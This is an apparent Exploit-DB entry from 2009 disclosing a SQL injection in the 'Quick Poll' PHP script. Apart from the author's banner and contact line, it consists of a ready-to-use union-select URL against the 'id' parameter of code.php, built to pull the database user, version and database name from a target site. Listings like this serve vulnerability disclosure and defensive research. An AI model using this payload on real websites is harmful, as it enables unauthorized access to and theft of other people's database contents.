Quick Poll - 'code.php?id' SQL Injection

EDB-ID:

10837

CVE:

N/A


Author:

Hussin X

Type:

webapps


Platform:

PHP

Date:

2009-12-31


|___________________________________________________|
|
| Quick Poll (code.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|-------------------- Hussin X --------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM<http://WwW.IQ-ty.CoM>   < IQ-Security
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script :http://discountedscripts.com/product_info.php?products_id=69
|
|___________________________________________________|

Exploit:
________



www.[target].com/Script/code.php?id=-85+union+select+85,85,concat_ws(char(58),user(),version(),database())+from+answers--



IQ-SecuritY FoRuM